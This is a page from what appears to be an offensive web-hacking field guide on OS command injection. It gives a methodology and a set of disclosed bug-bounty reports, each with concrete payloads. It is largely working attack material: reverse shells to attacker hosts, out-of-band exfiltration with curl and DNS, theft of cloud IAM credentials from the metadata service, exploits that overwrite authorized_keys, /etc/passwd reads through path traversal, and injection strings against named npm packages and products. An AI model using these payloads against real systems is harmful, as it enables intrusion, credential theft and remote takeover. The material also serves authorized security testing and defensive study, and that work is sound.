⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/OS Command Injection
Vulnerabilities

OS Command Injection

§Basic information

OS command injection is getting a server to run operating-system commands you control. It happens whenever an application builds a command line from user input and hands it to a shell — so your metacharacters (; | && $() ` `) are parsed as *syntax* instead of *data*. The payoff is almost always full RCE: a reverse shell, arbitrary file write, and on a cloud host an immediate pivot to IAM credentials at 169.254.169.254`.

There are two distinct mechanisms, and confusing them wastes hours. Shell-metacharacter injection breaks out of a command string passed to /bin/sh — this is the classic ; id case. Argument (flag) injection needs no shell at all: the app runs a real binary safely, but a user value starting with -/-- is swallowed by that binary's own option parser, letting you inject its dangerous flags (git --output, gm -write). Whenever user data reaches a CLI tool, test both — the second is subtler, more common in modern code that "does everything right" by avoiding a shell, and just as fatal.

§Methodology

  1. Find the sink. Look for any feature that shells out to a helper tool with user data in the argument: image/media conversion, archive extraction, git subcommands, PDF/AV processing, chat-bot commands, templated jobs, IaC/build tooling. If you have source, grep for the sink (system/exec/backticks/Open3.popen3/IO.popen with a String, spawn(...,{shell:true}), bash -c "#{...}").
  2. Fire a canary that separates the two mechanisms and prefers a non-destructive proof (arithmetic, timing, DNS) over anything reflected.
  3. Confirm the context — quoted vs unquoted arg, which separators survive, whether metachars are escaped but spaces/flags are not.
  4. Go blind if nothing echoes — out-of-band DNS/HTTP and time-delay are the reliable tells.
  5. Weaponize — replace id with a reverse shell or an IMDS grab; if the sink is blind, stage a script you control on disk and execute it.
# Metachar canary — try each separator in each quoting context, watch the second command fire ; id | id && id $(id) `id` %0a id # URL-encoded newline (send in HTTP/URL contexts) "|id|" # break out of a double-quoted arg '; id; ' # break out of a single-quoted arg
● NOTE
Prefer a provable, non-destructive confirmation. $((7*7))49, a sleep/ping delay, or a DNS lookup to your collaborator proves execution without dropping files or running rm. Save id/whoami for the reflected case where you can actually read output.

§Injection contexts

Identify which context your input lands in, then use the matching breakout.

Unquoted shell argument

Input is concatenated straight into the command with no surrounding quotes — any separator works.

foo; id foo && id foo | id

Quoted shell argument

Input sits inside "..." or '...'. Close the quote first, then inject.

sample.rar"|curl http://COLLAB/shell.pl -o /tmp/s.pl|" # break out of double quotes foo'; id; ' # break out of single quotes

Command substitution (survives naive filters)

$(...) and backticks run inside an argument without any separator — they slip past filters that only strip ;/|.

/wiki test $(cat /etc/passwd) /wiki test $(bash /path/to/uploaded/shell.sh) # stage a script you control, then run it foo`id`

Argument / flag injection (no shell)

Metachars are escaped, but a value starting with -/-- is parsed as a flag by the underlying binary. Identify the tool with a harmless flag, then inject its dangerous option.

y=0 -rotate 90 # image rotates -> you're in gm/convert ref=--no-index # git leaks out-of-repo files -> missing -- terminator ref=--output=/var/opt/gitlab/.ssh/authorized_keys # git writes command output to any git-writable file

Blind (nothing reflected)

No output comes back. Prove execution out-of-band with DNS/HTTP, or by a timing differential.

$(curl http://COLLAB/`whoami`) # OOB HTTP with hostname exfil ;nslookup `whoami`.COLLAB; # OOB DNS ;sleep 10; # time-delay tell && ping -c 10 127.0.0.1 # ~9s delay if injected (10 packets, 1s apart)

Config / template compiler

User input is rendered into a config another engine compiles (nginx.conf, Groovy, Lua). Close the current directive and open a new one that runs code.

# ingress-nginx annotation: close the block, open a lua location that shells out } location /x/ { content_by_lua_block { local f=io.popen(ngx.req.get_headers()["cmd"]); ngx.say(f:read("*a")); } }

§Bypasses

Filter / controlBypassSeen in
Naive ;/`\` metachar filter$(...) / backtick command substitution survives#851807
PHP escapeshellcmdescapes metachars but not spaces — inject extra CLI args, use ${IFS} for spaces#212696
No shell at all (argv array)argument injection: value starting with -- is parsed as a flag (git --output)#658013
Single-quote "escaping"echo '${x}' breaks out when x contains a ' (JSON preserves the quote)#3637898
File-type validationrename PostScript payload to .jpg; %! magic bytes trigger the Ghostscript delegate regardless of extension#422944
Double-quoted exec() arg`"\cmd\"` closes the quote and pipes to a command (unrar filename sink)#546753
Single directive blacklistafter alias blocked, Lua content_by_lua_block/io.popen reintroduces RCE — the whole template is injectable#1728174
Package-name blacklistbacktick in the POOL_UPGRADE package name bypasses the string filter#1859592
Windows path normalizationdocker-credential-/../../X collapses the fixed security prefix → arbitrary host exe#955016
Reverse-proxy path filter..;/ (Tomcat path-param) bypasses front-end auth to reach the internal injection sink#2817658
▲ WARNING
escapeshellcmd and single-quote wrapping are not escaping. escapeshellcmd leaves spaces intact, so you can still inject whole extra CLI arguments (#212696). echo '${x}' is injectable the instant x can contain a ' (#3637898). Only an argv array (no /bin/sh) plus a -- terminator is actually safe.

§Escalation & impact

Command injection is usually the last link, but reaching the sink is often itself a chain. The real payload is never id:

# reverse shell staged from a subshell/exec sink bash -i >& /dev/tcp/COLLAB/2137 0>&1 # first move on a cloud host: steal the instance IAM role, then pivot into the account curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
▸ TIP
Blind command injection is still critical. If output isn't reflected, you don't need it — confirm with OOB DNS, then stage. Upload a shell script to your own account/files and run it via $(bash /path/to/shell.sh), or overwrite a file the service user reads on the next event. A "blind" sink is a full shell with one extra hop.

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 85 in this class.

Real-world example

Pre-auth RCE on unpatched Pulse Secure SSL VPN (file-read + command-injection chain)

◆ Critical
Specimen #591295 · x · USD 20160 · 1239 votes · resolved
Program xSurface networkChain pre-auth file read (CVE-2019-11510) -> cached plaintext cTag account-takeover

Root cause

Public perimeter appliances (SSL VPN) left unpatched against recently-disclosed CVEs. A pre-auth arbitrary file read (CVE-2019-11510) leaks the credential/session DB, and a post-auth admin command injection (CVE-2019-11539) turns that into RCE.

Method

  1. Fingerprint the appliance and confirm it is behind on the vendor advisory (patched 2019-04-25).
  2. Use CVE-2019-11510 to read /etc/passwd, /data/runtime/mtmp/system (hashed creds + Duo ikey/skey), and lmdb data.mdb (Pulse caches plaintext passwords after login) and randomVal (session tokens).
  3. Reuse a cached session token (no Roaming Session) or crack the admin hash / harvest Duo secret to bypass 2FA.
  4. Proxy to the admin interface via the web-proxy feature (https://0/admin/) and trigger the post-auth command injection (CVE-2019-11539) for RCE.
# pre-auth arbitrary file read primitive (Pulse Secure CVE-2019-11510) GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1 # then read /data/runtime/mtmp/lmdb/dataa/data.mdb for cached PLAINTEXT VPN passwords # admin interface reachable through the VPN web-proxy: https://0/admin/

Insight — Perimeter/edge appliances (VPNs, mail gateways, load balancers) are prime targets: version-fingerprint them and weaponise the latest vendor advisory before defenders patch. A pre-auth file read that leaks session/credential stores is often enough to reach an authenticated command-injection sink for full RCE.

Real-world example

Git argument/flag injection (--output/--no-index) to file overwrite -> RCE

◆ Critical
Specimen #658013 · gitlab · USD 12000 · 777 votes · resolved
Program gitlabSurface apiChain flag injection --output -> overwrite ~git/.ssh/authorizedTag file-upload

Root cause

User-controlled values (ref, ref_name, archive path, search ref) are appended to a git CLI invocation without a `--` separator or sanitization. A value starting with `--` is parsed by git as an option, letting the attacker inject flags like --output=PATH or --no-index.

Method

  1. Find an API/endpoint whose parameter flows into a git subcommand (log, grep, archive, rev-list).
  2. Set the parameter to a value beginning with -- so git treats it as a flag.
  3. Inject --output=/var/opt/gitlab/.ssh/authorized_keys and control the written content (e.g. put your SSH pubkey in a wiki/commit message so git log writes it out).
  4. ssh git@target with your key for RCE. (--no-index variant instead leaks arbitrary files/secrets.)
# git log flag injection via Search API wiki_blobs ref -> write file curl --header "PRIVATE-TOKEN: $TOKEN" \ 'http://TARGET/api/v4/projects/4/search?scope=wiki_blobs&search=page&ref=--output=/var/opt/gitlab/.ssh/authorized_keys' # resulting git cmd: git ... log --max-count=1 --output=/var/opt/gitlab/.ssh/authorized_keys # file-read variant (blobs scope, git grep): curl --header "PRIVATE-TOKEN: $TOKEN" \ 'http://TARGET/api/v4/projects/4/search?scope=blobs&search=.&ref=--no-index'

Insight — Whenever user input reaches a CLI tool, test argument injection: prefix with -- and inject the tool's own dangerous flags. For git, --output=PATH writes command output to any git-writable file (overwrite authorized_keys for RCE); --no-index reads files outside the repo. Missing `--` argument terminator is the root cause.

Real-world example

Bundled EvoStream API (localhost:7440) launchProcess -> command exec as SYSTEM

◆ Critical
Specimen #544928 · ui · awarded · 553 votes · resolved
Program uiSurface desktopChain local low-priv user -> localhost:7440 launchProcess ->

Root cause

A desktop product (Ubiquiti unifi-video) bundles a third-party media server (EvoStream) exposing an unauthenticated control API on localhost:7440 whose launchProcess command executes arbitrary binaries; the service runs as SYSTEM.

Method

  1. Enumerate local listening services installed by the desktop/agent software (netstat) - here EvoStream on 127.0.0.1:7440.
  2. Send the launchProcess API command with a binary path and arguments.
  3. Command runs as SYSTEM, giving local privilege escalation (user -> SYSTEM); pair with an SSRF to reach it remotely.
# EvoStream API on localhost:7440 (see docs.evostream.com/2.0/launchProcess.html) # launchProcess executes any binary with supplied args, service runs as SYSTEM # poc.py in attachments drives the local API

Insight — Audit what local services fat clients/agents install and which run as SYSTEM/root. Undocumented or third-party control APIs bound to localhost with a process-launch primitive are LPE-to-SYSTEM; if an SSRF can reach the port, it becomes remote RCE.

Real-world example

Shell-string interpolation into Open3.popen3 (DecompressedArchiveSizeValidator)

◆ Critical
Specimen #1609965 · gitlab · USD 33510 · 378 votes · resolved
Program gitlabSurface apiChain BulkImports param filter bypass -> attacker-controlled imTag file-upload

Root cause

A validator builds a command as a single string, `"gzip -dc #{@archive_path} | wc -c"`, and passes it to Open3.popen3, which invokes /bin/sh. Any shell metacharacter in @archive_path (attacker-controlled import_source) executes arbitrary commands. A weak param filter in BulkImports let import_source be set.

Method

  1. (Requires bulk_import_projects feature.) Trigger a project bulk import from a controlled source.
  2. Abuse the ProjectPipeline transformer's loose prohibited-key regex to smuggle import_source and template_name into Projects::CreateService params.
  3. Set import_source to a value with shell metacharacters; the FileImporter feeds it to the validator's shell string.
  4. After wait_for_archived_file times out, Open3.popen3 runs the injected command.
# import_source value injected into: "gzip -dc #{@archive_path} | wc -c" "import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#" # (note: > is unusable as JSON escapes it) -> executes: echo lala | tee /tmp/1234

Insight — Grep the codebase for command strings built by interpolation and passed to Open3.popen3 / system / `backticks` / IO.popen with a String (shell mode) rather than an argv array. Any user-influenced path/filename reaching such a sink is command injection. Fix tell: use Gitlab::Popen with an array of args.

Real-world example

Argument injection into gm convert (-write |cmd) via unescaped spaces

◆ Critical
Specimen #212696 · imgur · awarded · 229 votes · resolved
Program imgurSurface webChain argument injection -> gm convert -write |cmd -> RCE / Tag file-upload

Root cause

An image crop/resize endpoint interpolates a user parameter into a shell command that runs GraphicsMagick. Metacharacters are escaped (escapeshellcmd-style) but spaces are not, allowing extra CLI arguments to be injected; gm's -write with a |-prefixed filename executes a command.

Method

  1. Intercept the crop request: /edit/process?...&y=0&...
  2. Confirm it's an image tool by appending ' -rotate 90' to y and observing the effect.
  3. Inject additional gm args using ${IFS} for spaces and -write |command to execute.
  4. Exfil command output to your server via curl.
y=0 -write |ps${IFS}aux|curl${IFS}http://COLLAB${IFS}-d${IFS}@- # URL-encoded in the y parameter of /edit/process?...&a=crop

Insight — If special chars are escaped but SPACES are not (a hallmark of PHP escapeshellcmd), you still have argument injection. Identify the underlying tool (probe with a harmless flag like -rotate), read its man page for a dangerous option - GraphicsMagick/ImageMagick -write |cmd runs shell. Use ${IFS} where spaces are stripped.

Real-world example

Unrestricted Apache Flink jars/{id}/plan API -> RCE via arbitrary entry-class

◆ Critical
Specimen #1418891 · aiven_ltd · USD 6000 · 131 votes · resolved
Program aiven_ltdSurface apiChain exposed Flink API -> arbitrary entry-class + remote JS ar

Root cause

The Apache Flink REST API endpoint GET /jars/{jar_id}/plan is exposed without access control and lets the caller specify entry-class and program arguments; pointing it at a classpath class like com.sun.tools.script.shell.Main with a JS-loader arg yields code execution.

Method

  1. Locate an exposed Flink Web UI / REST API (default no auth).
  2. Upload or reference a jar, then call /jars/{id}/plan with entry-class set to a gadget class already on the classpath.
  3. Pass programArg to load a remote script (e.g. com.sun.tools.script.shell.Main -e load('https://attacker/shell.js')).
  4. Receive a reverse shell.
GET /jars/<jar_id>_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://ATTACKER/shell-loader.js")&parallelism=1 HTTP/1.1 Host: TARGET Authorization: Basic <creds>

Insight — Data-processing platforms (Flink, Spark, Hadoop, Jenkins) expose 'run this class/job' APIs that are RCE-by-design if reachable. Always check whether the management/REST port is authenticated; if not, invoking an arbitrary entry-class with a script-engine loader is direct RCE.

Real-world example

Exposed Jenkins /script Groovy console -> RCE + AWS SSM IAM creds

◆ Critical
Specimen #2083771 · deptofdefense · none · 114 votes · resolved
Program deptofdefenseSurface webChain exposed Jenkins /script -> Groovy RCE -> AWS IMDS IAM Tag cloud-aws

Root cause

The Jenkins script console (/jenkins/script) is exposed without authentication, allowing arbitrary Groovy execution, which is direct OS command execution; on an EC2 instance this immediately yields IAM role credentials via the metadata service.

Method

  1. Probe for /jenkins/script (Jenkins Groovy console).
  2. Execute Groovy that shells out (String.execute()) to curl IMDS for the instance role creds.
  3. Use the AWS creds, or run a ProcessBuilder reverse shell for interactive access.
// Groovy in Jenkins /script console println "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>".execute().text // reverse shell String host="ATTACKER";int port=1337;String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);/*...pipe streams...*/

Insight — Always check for exposed admin/dev consoles (Jenkins /script, Spring actuator, Airflow, etc.). Jenkins Groovy console == unauth RCE. First post-exploit move on cloud hosts: hit 169.254.169.254 for IAM role creds to pivot into the AWS account.

Real-world example

Tomcat '..;/' AJP path bypass to unauth API + command injection (Trellix ESM)

◆ Critical
Specimen #2817658 · trellix · none · 60 votes · resolved
Program trellixSurface webChain path-traversal (..;/ AJP bypass) -> unauth internal API -

Root cause

Apache ProxyPass forwards /rs to an AJP backend; the '..;/' path segment (Tomcat treats ';' as a path-param) bypasses front-end auth/path filtering to reach internal Snowservice APIs, one of which concatenates a JSON 'name' value into a shell command as root.

Method

  1. Reach internal API unauth via /rs/..;/Snowservice/... path traversal
  2. Call CreateNode to seed a node object
  3. Call ManageNode with a backtick command in the 'name' field for RCE as root
POST /rs/..;/Snowservice/SnowflexAdminServices/ManageNode HTTP/1.0 Content-Type: application/json {"serverName":"test132","processes":[{"name":"`bash -i >& /dev/tcp/ATTACKER/2137 0>&1`","signal":"Restart"}]}

Insight — Whenever a reverse proxy fronts a Java/AJP backend, try '..;/' (and '/..;/') to bypass path-based auth and reach internal endpoints; then hunt command-injection sinks behind them.

Real-world example

Arbitrary file write via import path traversal -> authorized_keys command= RCE

◆ Critical
Specimen #298873 · gitlab · 2000 · 50 votes · resolved
Program gitlabSurface webChain path traversal / arbitrary file write -> authorized_keys

Root cause

GitlabProjectsImportService builds import_upload_path from unsanitized params[:path] and copies the uploaded file there without content validation; traversal lets an attacker overwrite ~git/.ssh/authorized_keys, whose forced-command directive runs on SSH connect.

Method

  1. Upload a GitLab project import with path = ../../../../var/opt/gitlab/.ssh/authorized_keys
  2. Set the uploaded file contents to an authorized_keys line with command="..." plus your public key
  3. SSH as git@host to trigger the forced command
Content-Disposition: form-data; name="path" new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys ... (file body) command="ls -lash",no-pty ssh-rsa AAAA... attacker-key

Insight — An arbitrary file-write primitive escalates to RCE by overwriting SSH authorized_keys with a forced-command (command=) entry - check which files are writable by the service user.

Real-world example

VCS argument injection via malicious hg branch name (--config hook)

◆ Critical
Specimen #288704 · phabricator · awarded · 41 votes · resolved
Program phabricatorSurface web

Root cause

Phabricator passes a Mercurial branch name directly as an hg CLI argument; a branch named --config=hooks.pre-log=CMD is interpreted as an option that defines a hook, executing CMD when hg log runs.

Method

  1. On a monitored hg repo, create a branch named --config=hooks.pre-log=wget
  2. Let Phabricator sync the repo
  3. Visit the branch history page so hg log runs with the injected --config
hg branch '--config=hooks.pre-log=wget' # triggered via /source/<repo>/history/--config%253Dhooks.pre-log%253Dwget/

Insight — Attacker-controlled strings passed as CLI arguments (branch/ref/filename) that begin with - become option injection; for hg/git/ssh, --config/-o/-e style options can reach command execution even without shell metacharacters.

Real-world example

Unauthenticated command injection via undocumented field before authz (Hyperledger indy-node)

◆ Critical
Specimen #1705717 · hyperledger · 2000 · 39 votes · resolved
Program hyperledgerSurface otherChain undocumented package field -> dpkg -s shell concat ->

Root cause

POOL_UPGRADE's undocumented 'package' field is passed into compose_cmd(['dpkg','-s',package]) and run as a shell command; the Trustee authorization check happens AFTER this vulnerable path, so any signed client (no role) achieves RCE on every node.

Method

  1. Build a signed POOL_UPGRADE request (any network identity, no role)
  2. Set package to '<pkg> ; <reverse shell>' with a valid future schedule to pass static validation
  3. Send to a node's client port; command runs on all nodes
"operation":{"action":"start","name":"test","package":"a ; python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"ATTACKER\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'","schedule":{...},"type":"109","version":"1.1"}

Insight — Look for authorization enforced AFTER input processing (validation/lookup runs first) - the vulnerable code path is reachable pre-auth. Also hunt undocumented/hidden request fields that reach system() sinks.

Real-world example

Command injection filter bypass via ${IFS} in Nexus Yum plugin (bypass CVE-2019-5475)

◆ Critical
Specimen #688270 · central-security-project · none · 34 votes · resolved
Program central-security-projectSurface web

Root cause

Nexus Yum Configuration capability runs the configured createrepo/mergerepo path via CommandLineExecutor; the CVE-2019-5475 getCleanCommand patch is incomplete and is bypassed using ${IFS} for spaces and || to chain commands.

Method

  1. Open/create a Yum: Configuration capability in Nexus
  2. Set createrepo/mergerepo path to a command using ${IFS} and || to dodge the filter
  3. Capability execution runs the command
/bin/bash -c curl${IFS}http://ATTACKER:8000/ || /createrepo

Insight — When a command-injection patch just blacklists spaces/keywords, bypass with ${IFS} (or $IFS$9), brace/backslash tricks, and || / && chaining; always retest 'fixed' sinks for incomplete filters.

Real-world example

Symlink regex bypass in project import -> arbitrary file write -> SSH RCE (GitLab)

◆ Critical
Specimen #378148 · gitlab · none · 32 votes · resolved
Program gitlabSurface webChain symlink regex bypass -> arbitrary file write -> authorTag file-upload

Root cause

file_importer.rb strips symlinks using regex %r{.*/\.{1,2}$}; a tarball symlink named '.\nevil' (embedded newline) matches and survives removal, pointing into /var/opt/gitlab. Because the upload dir isn't purged on project delete, a second import writes files (authorized_keys) through the surviving symlink.

Method

  1. Import a tarball containing a symlink named .<newline>evil -> /var/opt/gitlab
  2. Delete the project (upload dir persists)
  3. Re-import a tarball with uploads/.<newline>evil/.ssh/authorized_keys to write through the symlink; SSH in
tar symlink entry: uploads/nyangawa/myrepo/.\nevil -> /var/opt/gitlab then: uploads/.\nevil/.ssh/authorized_keys (your pubkey)

Insight — Regex-based symlink/path filters that anchor on $ are bypassable with newline characters in names; combine a surviving symlink with a non-cleaned directory to convert archive import into arbitrary file write and then authorized_keys RCE.

Real-world example

Nexus Repository Manager Yum plugin command injection (CVE-2019-5475)

◆ Critical
Specimen #654888 · central-security-project · none · 28 votes · resolved
Program central-security-projectSurface web

Root cause

The nexus-yum-repository-plugin passes the admin-configurable createrepo/mergerepo path straight to CommandLineExecutor, so an authenticated admin can point it at an arbitrary binary that then runs as the Nexus service user.

Method

  1. Authenticate to Nexus 2.x with capability-management rights
  2. Create/edit a Yum: Configuration capability via the REST API
  3. Set createrepoPath to an arbitrary executable; Nexus invokes it (appending --version)
PUT /nexus/service/siesta/capabilities/000013ea3743a556 HTTP/1.1 Host: TARGET Authorization: Basic YWRtaW46YWRtaW4xMjM= Content-Type: application/xml <ns2:capability xmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>createrepoPath</key><value>C:\Windows\System32\calc.exe</value></properties></ns2:capability>

Insight — Config fields that specify a path to an external binary (createrepo, ffmpeg, git, etc.) are command-execution sinks when passed to a shell/CommandLineExecutor. Check REST capability/settings endpoints for path parameters.

Real-world example

Node module RCE via unsanitized input to child_process.exec

◆ Critical
Specimen #781664 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface otherTag supply-chain

Root cause

npm libraries build a shell command string by concatenating/formatting caller-supplied input and pass it to child_process.exec(), which runs it through /bin/sh, so shell metacharacters in that input execute arbitrary OS commands.

Method

  1. Identify library APIs that shell out (child_process.exec) with a value derived from caller/user input
  2. Break out of quoting with double-quote/backtick/semicolon/ampersand and append a command
  3. Trigger the API to execute the injected command
// pdf-image (781664) - break double quotes or use backticks new (require('pdf-image').PDFImage)('"; sleep 500 #"').getInfo(); // backtick variant executes even inside double quotes: `ls;sleep 5` // bunyan (902739): ./node_modules/bunyan/bin/bunyan -p "S'11;touch hacked ;'" // logkitty (825729): logkitty android app 'test; touch HACKED' // tree-kill (701183, Windows): kill('3333332 & echo HACKED > HACKED.txt & ')

Insight — When auditing Node modules, grep for child_process.exec/execSync and trace whether any argument is a user/caller-controlled string; exec is shell-interpreted (unlike execFile/spawn with an args array). Payload style depends on how input is embedded: inside double quotes use backticks or close the quote; Windows cmd uses & separators.

Real-world example

Electron shell.openExternal() blocklist bypass -> RCE from untrusted link

◆ Critical
Specimen #924151 · rocket_chat · none · 12 votes · resolved
Program rocket_chatSurface desktopChain remote message -> user click -> shell.openExternal -&gTag supply-chain

Root cause

The desktop app passes clicked links to Electron's shell.openExternal() with only a file:// blocklist. Other OS-handled URI schemes (smb://, and OS-specific protocol handlers) still reach the shell, letting a remote-supplied link launch an attacker-hosted executable.

Method

  1. Confirm links flow to shell.openExternal() with a blocklist (not allowlist) filter
  2. Host a payload reachable via a non-http protocol the OS will execute (e.g. smb:// share with a .desktop launcher on Linux, ms-msdt/search-ms on Windows)
  3. Send the link in a message; on click the OS handler runs the payload
# Message body: smb://attacker.tld/public/pwn.desktop # pwn.desktop on the share: [Desktop Entry] Exec=bash -c "(mate-calc &); xmessage 'RCE'" Type=Application

Insight — Any Electron/webview app that opens user-controlled links needs a scheme ALLOWLIST (http/https/mailto). A blocklist is always bypassable via OS-registered protocol handlers. Check preload link handlers for openExternal.

Real-world example

Argument-to-exec() command injection in npm modules (unsanitized input into child_process.exec/execSync)

◆ Critical
Specimen #863544 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface otherTag supply-chain

Root cause

A library builds a shell command by string-concatenating a caller/user-controlled parameter and runs it through child_process.exec / execSync (which invoke /bin/sh), instead of passing an argv array to execFile/spawn. Any shell metacharacter in the parameter breaks out into arbitrary OS commands.

Method

  1. Find a module API/CLI whose argument (domain, ip, port, pid, filename, connString, range, argv[2]) reaches exec()/execSync()
  2. Inject a shell break: ; | && $() `` around the expected value
  3. Confirm with a benign side effect (touch file / DNS callout) then escalate to a reverse shell
// devcert (domain param) certificateFor('example.com; touch /tmp/pwned;') // kill-port kill("23;`touch ./success.txt`") // samsung-remote (ip) new SamsungRemote({ip:'127.0.0.1; touch /tmp/malicious;'}) // apex-publish (connectString into execSync) publish({connectString:';cat /etc/passwd;'}) // libnmap (range) / ps (pid) / whereis (filename) range:['x.x.$(touch success.txt)'] | pid:'$(touch success.txt)' | whereis('wget; touch /tmp/tada') // ascii-art / jison CLI (process.argv) ascii-art preview 'doom"; touch /tmp/malicious; echo "'

Insight — When auditing Node dependencies, grep for exec(/execSync( and trace every argument back to an API surface; any concatenated value is RCE if the consumer ever passes user input. Fix = execFile/spawn with an argv array. This same bug recurs across dozens of small utility packages.

Real-world example

Unauthenticated remote command injection in a webhook receiver (Node exec on request field)

◆ Critical
Specimen #685447 · nodejs-ecosystem · none · 10 votes · resolved
Program nodejs-ecosystemSurface webTag webhookTag supply-chain

Root cause

gitlabhook takes an attacker-controlled JSON field (repository.name) straight from an inbound HTTP webhook and interpolates it into a shell command via execFile/exec, giving pre-auth RCE to anyone who can reach the listener.

Method

  1. Locate a webhook/CI listener that shells out to git/deploy using values from the POST body
  2. POST JSON with a shell break inside a string field (e.g. repository name)
  3. Observe command execution on the server
POST http://target:3420 Content-Type: application/json {"repository":{"name": "Diasporrra'; touch /tmp/poc.txt;'"}}

Insight — Webhook/CI glue is a high-value network-reachable variant of the exec() bug class: the injected value arrives over HTTP with no auth. Always test repository/name/branch/ref fields of webhook receivers for shell metacharacters.

Real-world example

Malicious VCS repo executes checked-in hook (Mercurial git subrepo -> post-update)

◆ Critical
Specimen #294147 · ibb · awarded · 9 votes · resolved
Program ibbSurface otherChain clone/update untrusted repo -> git hook execution -> RTag supply-chain

Root cause

Mercurial's Git subrepo support checks out an attacker-crafted subrepository that contains a .git/hooks/post-update script, which Git then executes during clone/update. Cloning/pulling a hostile repo yields code execution on the victim.

Method

  1. Craft (programmatically) a Mercurial repo with a Git subrepo whose .git/hooks/post-update holds a payload
  2. Get a victim to clone/update the repo (CI, hosting, dev machine)
  3. Git runs the hook -> arbitrary command execution (CVE-2017-17458)
.git/hooks/post-update (in the malicious git subrepo): #!/bin/sh touch /tmp/pwned # or reverse shell

Insight — Untrusted VCS content is an RCE vector: any tool that clones repos/submodules can be tricked into running checked-in hooks or ext commands. Applies to CI runners, IDE git integrations, dependency fetchers - treat clone of untrusted repos as code execution.

Real-world example

Node.js library API param concatenated into child_process.exec()

◆ Critical
Specimen #858674 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface otherTag supply-chain

Root cause

A library builds a shell command by string-interpolating a caller-supplied argument into child_process.exec()/execSync(), so shell metacharacters in that argument are interpreted by /bin/sh. Any downstream app that lets user input reach the argument gets RCE.

Method

  1. Grep the target module/app for exec(`... ${var} ...`) / execSync / template-literal shell commands
  2. Identify which function parameter, env var, or config value flows unescaped into that string
  3. Pass a payload that terminates the intended command and appends your own
  4. Confirm side effect (file creation / OOB callback)
const { Wg } = require('wireguard-wrapper'); Wg.showconf('; touch HACKED'); // generic separators that work in the same sink: // ; touch /tmp/x (command separator) // && touch /tmp/x (chained) // $(touch /tmp/x) (substitution) // `touch /tmp/x` (backticks)

Insight — Any Node module that calls exec() with a template string is a candidate; the injectable input can be a function arg (wireguard-wrapper device, free-space disk, command-exists commandName, macaddress iface, git-dummy-commit msg, entitlements path) OR an environment variable (last-commit-log GIT_DIR). Trace every exec()/execSync() back to its data source. Fix is execFile/spawn with an argv array so args are never re-parsed by a shell.

Real-world example

RCE via attacker-controlled Git branch name (second-order exec injection)

◆ Critical
Specimen #315773 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface otherChain malicious PR branch name -> pullit execSync -> RCE on Tag supply-chain

Root cause

pullit runs execSync('git ... '+branch) on branch names it fetches from a GitHub PR. A third party who opens a PR controls the branch name, so a victim running pullit against that repo executes the attacker's shell command — the tainted data crosses a trust boundary via the remote VCS.

Method

  1. Create a branch whose name is a shell payload
  2. Push it and open a pull request so the name lands in the repo's PR list
  3. Victim runs pullit and selects the PR; branch name flows into execSync
  4. Command executes on victim's machine
git checkout -b ';{echo,hello,world}>/tmp/c' # brace-expansion {a,b,c} produces space-free tokens so the payload # survives contexts that choke on literal spaces

Insight — Injection sources are not only local user input — data pulled from GitHub/GitLab (branch names, tags, PR titles, commit messages) is attacker-controllable and reaches CI/CD and dev tooling exec() sinks. Treat any VCS-sourced string as tainted. Brace expansion {cmd,arg1,arg2} is a reliable way to inject when whitespace is filtered or awkward.

Real-world example

Command injection in Node modules via string-formatted child_process.exec

◆ Critical
Specimen #730121 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface otherTag file-upload

Root cause

A Node library builds a shell command by concatenating/template-interpolating a caller-supplied string and runs it through child_process.exec (a full shell), so shell metacharacters in the argument break out of the intended command and run arbitrary OS commands.

Method

  1. Find a JS library API whose argument (git remote, filename, uri, commit message, etc.) ends up inside an exec()/execSync() string rather than execFile/spawn with an args array.
  2. Pass an argument containing a shell separator: ; | && || $() backticks or newline.
  3. Observe the injected command run (touch HACKED / reboot / curl to collaborator).
// npm-git-publish var git = require('npm-git-publish'); git.publish('.', 'http://github.com ;touch HACKED; #') // windows-edge require('windows-edge')({ uri: 'https://x/; touch HACKED; #' }, ()=>{}) // git-lib require('git-lib').add('test;touch HACKED;') // gity require('gity')().add('*.js').commit('-m "x";touch HACKED;#').run() // create-git require('create-git')({ remoteOrigin: 'http://evil.com || curl "http://COLLAB/RCE"' }) // commit-msg (CLI) echo "test||reboot" | commit-msg stdin // imagickal require('imagickal').identify('image.jpg;touch HACKED;')

Insight — Any wrapper around a CLI (git, ImageMagick, etc.) is a command-injection candidate: grep the source for exec(`...${x}...`) / exec('cmd ' + x). The fix and the tell are the same - safe code uses execFile/spawn(cmd, [args]) which never invokes a shell. On the next target, feed ';id' or '$(id)' style separators into every arg that looks like a path, URL, or free-text field routed to a system utility.

Real-world example

Argument injection into a downstream CLI (curl -o) to overwrite files -> RCE

◆ Critical
Specimen #925324 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface otherChain argument injection -> arbitrary file overwrite (module .j

Root cause

systeminformation.inetChecksite() places user input into a curl command line. Even without classic shell metacharacters, the attacker injects extra curl flags (--output/-o) to make curl write an attacker-supplied response body over one of the package's own .js files, which is then require()'d and executes attacker code.

Method

  1. Identify input that becomes an argument to a CLI tool (curl, tar, ffmpeg, git...).
